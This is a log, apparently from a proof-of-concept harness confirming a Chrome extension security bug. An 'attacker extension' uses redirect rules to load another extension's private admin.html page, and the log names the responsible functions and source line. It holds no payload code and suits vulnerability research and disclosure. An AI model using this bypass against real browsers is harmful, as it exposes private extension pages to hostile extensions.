===== SERVER LOG ===== [http] "GET /ready HTTP/1.1" 200 - [http] "GET /loaded?page=chrome-extension%3A%2F%2Fbihclhfahcjphohcgpkibmfipcfbldkc%2Finternal%2Fadmin.html HTTP/1.1" 200 - [server] listening on http://127.0.0.1:8080 [driver] waiting for Chrome DevTools on 127.0.0.1:9222 ... [driver] waiting for attacker extension /ready ... [server] attacker extension reports DNR rules ready [driver] opening browser-initiated tab -> http://127.0.0.1:8080/victim [driver] /json/new response: { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/194837574F0BD66351A012DD3FC83698", "id": "194837574F0BD66351A012DD3FC83698", "title": [server] *** VICTIM PRIVATE PAGE LOADED: chrome-extension://bihclhfahcjphohcgpkibmfipcfbldkc/internal/admin.html *** ======================================================================== VULNERABILITY CONFIRMED Non-web-accessible resource loaded in main frame: chrome-extension://bihclhfahcjphohcgpkibmfipcfbldkc/internal/admin.html ExtensionNavigationRegistry::CanRedirect() returned true for a cross-extension redirect, and the no-initiator-origin path at extension_navigation_throttle.cc:356 then PROCEEDed past the second WAR check. ======================================================================== ===== CHROME LOG (filtered) ===== DevTools listening on ws://127.0.0.1:9222/devtools/browser/4a80595c-54bd-4c1d-a9d0-93d051324f6b ===== CHROME LOG (tail 30) ===== DevTools listening on ws://127.0.0.1:9222/devtools/browser/4a80595c-54bd-4c1d-a9d0-93d051324f6b